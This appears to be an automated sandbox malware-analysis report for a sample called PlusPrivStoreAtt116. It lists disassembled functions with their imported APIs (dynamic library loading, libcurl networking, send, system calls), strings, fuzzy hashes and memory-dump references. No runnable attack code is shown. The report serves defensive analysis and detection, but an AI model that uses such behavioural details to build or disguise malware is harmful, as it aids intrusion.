String ID: <$<$<$`$v
API String ID: 306872129-2056843887
Opcode ID: fd20e6cdcbd1a73617437685a3d3e5ab8989bec76236420843f0ff4b3c7dbce2
Instruction ID: 0ee8b60d5bb1284f2747feed64a6f93c642e714c1d84bad872a42387ba649bd3
Opcode Fuzzy Hash: fd20e6cdcbd1a73617437685a3d3e5ab8989bec76236420843f0ff4b3c7dbce2
Instruction Fuzzy Hash: 39915C32908BC186E310CF34D4543E93BA0FB55B5CF185238CE994B39ADFBAA195C720

Function 00007FF6029C8F70 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 128
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?,00007FF6029F2DCA,?,?,?,?,00007FF6029C92FB), ref: 00007FF6029C8F84
GetProcAddress.KERNEL32(?,?,00007FF6029F2DCA,?,?,?,?,00007FF6029C92FB), ref: 00007FF6029C8FA9
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00007FF6029F2DCA,?,?,?,?,00007FF6029C92FB), ref: 00007FF6029C8FBC

Strings

AddDllDirectory, xrefs: 00007FF6029C9003
LoadLibraryExA, xrefs: 00007FF6029C8F9A
kernel32, xrefs: 00007FF6029C8F7D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: AddressHandleModuleProcstrpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 27745253-3327535076
Opcode ID: 3fc36237d5a699e2f99facc73201d44ad9495a081454105c969e389c3d98dd0d
Instruction ID: 45f92042372da348cf509db103bf1248fd93516c07ed03af1e915ff86f8bd141
Opcode Fuzzy Hash: 3fc36237d5a699e2f99facc73201d44ad9495a081454105c969e389c3d98dd0d
Instruction Fuzzy Hash: 0E41E312B0974286FB158F17A4542396BA1FF8AFE9F288530CE5D87791EE7DE486C300

Function 00007FF6029C7C10 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 161
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32 ref: 00007FF6029C7C7C
WSAGetLastError.WS2_32 ref: 00007FF6029C7C86

Part of subcall function 00007FF6029B2E10: GetLastError.KERNEL32 ref: 00007FF6029B2E32
Part of subcall function 00007FF6029B2E10: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2E3A

getsockname.WS2_32 ref: 00007FF6029C7D06
WSAGetLastError.WS2_32 ref: 00007FF6029C7D10

Strings

ssrem inet_ntop() failed with errno %d: %s, xrefs: 00007FF6029C7D96
ssloc inet_ntop() failed with errno %d: %s, xrefs: 00007FF6029C7E2C
getpeername() failed with errno %d: %s, xrefs: 00007FF6029C7CA6
getsockname() failed with errno %d: %s, xrefs: 00007FF6029C7D30

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$_errnogetpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 2911674258-670633250
Opcode ID: beb777fae94bd714a0210b54ee0db9f5296f82d4134aa8963846ed8433313220
Instruction ID: 1750771fc6b431fcd7b4d45d3e58186e3a7d9f23c2e88c5481f85c3adee2ce35
Opcode Fuzzy Hash: beb777fae94bd714a0210b54ee0db9f5296f82d4134aa8963846ed8433313220
Instruction Fuzzy Hash: C2918E26A18BC182D710CF26D4542E977A4FB88F8CF249236EE4C87656EF79E185CB10

Function 00007FF6029D8FE0 Relevance: 19.6, APIs: 13, Instructions: 128
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00007FF6029D9002
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D906E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D90A8
memcpy.VCRUNTIME140(?,?,?,00007FF6029BBB05), ref: 00007FF6029D90C1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D90CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D910A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D9113
freeaddrinfo.WS2_32(?,?,?,00007FF6029BBB05), ref: 00007FF6029D9141
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D9155
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D915F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D916C
WSASetLastError.WS2_32(?,?,?,00007FF6029BBB05), ref: 00007FF6029D918D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$ErrorLast_strdupfreeaddrinfogetaddrinfomemcpy
String ID:
API String ID: 2364279375-0
Opcode ID: 92f1dd02e77ef6866300f81a3e7edaadc0e4f6ac73d95d5bcc1c9b54f38ed787
Instruction ID: 8a5e12b2702b83bb8d08f4b2a5052126f71d7ca1efa9a3dd3fda9b77a58fda48
Opcode Fuzzy Hash: 92f1dd02e77ef6866300f81a3e7edaadc0e4f6ac73d95d5bcc1c9b54f38ed787
Instruction Fuzzy Hash: 82514C36A09B4282FB65AF12A55423A7BA0FF48B98F244035DE9E93751DFBCE445D700

Function 00007FF6029C4EA0 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 280
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5E94
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5EAA
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5EBE
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5ED2
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5EE6
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5EFA
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5F0E
Part of subcall function 00007FF6029C5E80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C5F22

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4F22

Part of subcall function 00007FF6029EEE50: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEE65
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEE7F
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEE9A
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEEB6
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEED2
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEEEA
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEF02
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEF1A
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEF32
Part of subcall function 00007FF6029EEE50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEF4A
Part of subcall function 00007FF6029EEE50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C4EC5,?,?,?,?,?,00007FF6029C32CC), ref: 00007FF6029EEF64

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C5126
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C5169
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029C52AE
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C532B

Strings

Protocol "%s" not supported or disabled in libcurl, xrefs: 00007FF6029C506F
file, xrefs: 00007FF6029C5213, 00007FF6029C528C
%s://%s, xrefs: 00007FF6029C4F2F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$free$callocstrtoul
String ID: %s://%s$Protocol "%s" not supported or disabled in libcurl$file
API String ID: 954404409-4150109901
Opcode ID: 6758a42c2f5dc663757ed3170074909e8fe14141e5650ad0774a33f90f12d84c
Instruction ID: 4103ffd9f0f4017e2b98af13eb6271beecd61f1c1642061f76348dd151961998
Opcode Fuzzy Hash: 6758a42c2f5dc663757ed3170074909e8fe14141e5650ad0774a33f90f12d84c
Instruction Fuzzy Hash: 36C18131B08A8296EB688B26D9543B92B90FF44B48F740931DA5DD7686EFBCF554C340

Function 00007FF6029D68F0 Relevance: 16.7, APIs: 11, Instructions: 241sleepnetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FF6029D694D
Sleep.KERNEL32 ref: 00007FF6029D695E
WSASetLastError.WS2_32 ref: 00007FF6029D6AC8
Sleep.KERNEL32 ref: 00007FF6029D6AD9
__WSAFDIsSet.WS2_32 ref: 00007FF6029D6B8C
__WSAFDIsSet.WS2_32 ref: 00007FF6029D6BA3
__WSAFDIsSet.WS2_32 ref: 00007FF6029D6BBE
__WSAFDIsSet.WS2_32 ref: 00007FF6029D6BD2
__WSAFDIsSet.WS2_32 ref: 00007FF6029D6BED
__WSAFDIsSet.WS2_32 ref: 00007FF6029D6C01

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 3eaa5cdda63adafe87d7bc7021b97494535538da4074dd7caebf54caf0cff9b4
Instruction ID: b18a369c9c13ecd2b079699413f12405e0741336dc6992f475f2fca4f364a7e1
Opcode Fuzzy Hash: 3eaa5cdda63adafe87d7bc7021b97494535538da4074dd7caebf54caf0cff9b4
Instruction Fuzzy Hash: 7C914131B0C64286EB684E27F9402B96A98FF4435CF704139E95EC7BC5DFBCE9459600

Function 00007FF6029EFB01 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA7F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFB7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFBE6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFBFE

Part of subcall function 00007FF6029EEB50: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EEB60

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFC26
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFC3D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFC62
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFCAF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFCC4

Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE0C
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE16
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE20
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE2A
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE34
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE3E
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE48
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE52
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE5C
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE66
Part of subcall function 00007FF6029EFE00: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029EEE32,?,?,00000000,00007FF6029C5F3B,?,?,00000000,00007FF6029C1983,?,?,00000000,00007FF6029C1F05), ref: 00007FF6029EFE70

Strings

,, xrefs: 00007FF6029EFB44
:, xrefs: 00007FF6029EFB27

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc$_strdup
String ID: ,$:
API String ID: 2460172880-4193410690
Opcode ID: ee5d17ec08a13b99c4923db94e6ec4764f22cf3a1575fb3409643455dd1af72b
Instruction ID: 8bccda28be5cdba1eef05876a3bae28bd728b6e3625240e574bab8fbbc8e9ffe
Opcode Fuzzy Hash: ee5d17ec08a13b99c4923db94e6ec4764f22cf3a1575fb3409643455dd1af72b
Instruction Fuzzy Hash: 10515522E08A8682FB219B3695202796761BF5578CF249235CE8D96957FFACF5C58300

Function 00007FF6029C5800 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C584F

Strings

Couldn't resolve host '%s', xrefs: 00007FF6029C5981
Unix socket path too long: '%s', xrefs: 00007FF6029C58A6
Couldn't resolve proxy '%s', xrefs: 00007FF6029C5A2C

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: calloc
String ID: Couldn't resolve host '%s'$Couldn't resolve proxy '%s'$Unix socket path too long: '%s'
API String ID: 2635317215-3812100122
Opcode ID: f08da87b223e4afb787e14741a77dd1769841e215b917ae838169de794eb3b9c
Instruction ID: de964bf45d023b105c5337def48261f491dedb996205735119aaa0eaf85d5086
Opcode Fuzzy Hash: f08da87b223e4afb787e14741a77dd1769841e215b917ae838169de794eb3b9c
Instruction Fuzzy Hash: 6F51A122A0CB8287FB198B2694903796B90EF84B98FB40431DB4DC7796DF7DF5558B00

Function 00007FF6029A2850 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 121processCOMMON

Download Yara Rule

APIs

system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A28B7
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2927
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2987
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A29D7
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2A27
system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2A98

Strings

.8, xrefs: 00007FF6029A2A75
h%49, xrefs: 00007FF6029A2A6E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: system
String ID: .8$h%49
API String ID: 3377271179-4206735779
Opcode ID: a7e926d66bff3890010a4de0419013d2960dc4d2cd83e741db80a3a17baeac22
Instruction ID: 399febefe7b4edcfe7a418566e34db38308ee16759dc8ae734ff1e428cccbcef
Opcode Fuzzy Hash: a7e926d66bff3890010a4de0419013d2960dc4d2cd83e741db80a3a17baeac22
Instruction Fuzzy Hash: EC616C22E287D688F301CBB8E8451BC7B71BB9971CF105338DEC966D55EFA81188C744

Function 00007FF602A001EC Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF602A00215
__scrt_release_startup_lock.LIBCMT ref: 00007FF602A00283
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF602A002D1
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF602A002D6
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF602A002DE
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF602A002E6
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF602A00308
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF602A00362

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1133592946-0
Opcode ID: de375b220b439a9c4fbc24da6c3cfafd4a664fed8df3b2246a19f881dec74204
Instruction ID: e79dbf4b9b1c2dbc0a73e381cc0bd3e0c6e1d2d009e079be7bf2e3bcea487bde
Opcode Fuzzy Hash: de375b220b439a9c4fbc24da6c3cfafd4a664fed8df3b2246a19f881dec74204
Instruction Fuzzy Hash: FB314B21E0C24382FB50AB6194E53BA6B91AF5978CF744035EA4DCB6D3DEECE844C301

Function 00007FF6029BBAB0 Relevance: 12.1, APIs: 8, Instructions: 67networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029D8FE0: getaddrinfo.WS2_32 ref: 00007FF6029D9002
Part of subcall function 00007FF6029D8FE0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D906E
Part of subcall function 00007FF6029D8FE0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D90A8
Part of subcall function 00007FF6029D8FE0: memcpy.VCRUNTIME140(?,?,?,00007FF6029BBB05), ref: 00007FF6029D90C1
Part of subcall function 00007FF6029D8FE0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D90CF
Part of subcall function 00007FF6029D8FE0: freeaddrinfo.WS2_32(?,?,?,00007FF6029BBB05), ref: 00007FF6029D9141
Part of subcall function 00007FF6029D8FE0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D9155
Part of subcall function 00007FF6029D8FE0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D915F
Part of subcall function 00007FF6029D8FE0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029BBB05), ref: 00007FF6029D916C

WSAGetLastError.WS2_32 ref: 00007FF6029BBB0B
WSAGetLastError.WS2_32 ref: 00007FF6029BBB15
EnterCriticalSection.KERNEL32 ref: 00007FF6029BBB30
LeaveCriticalSection.KERNEL32 ref: 00007FF6029BBB3F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BBB50
send.WS2_32 ref: 00007FF6029BBB73
WSAGetLastError.WS2_32 ref: 00007FF6029BBB7D
LeaveCriticalSection.KERNEL32 ref: 00007FF6029BBB90

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
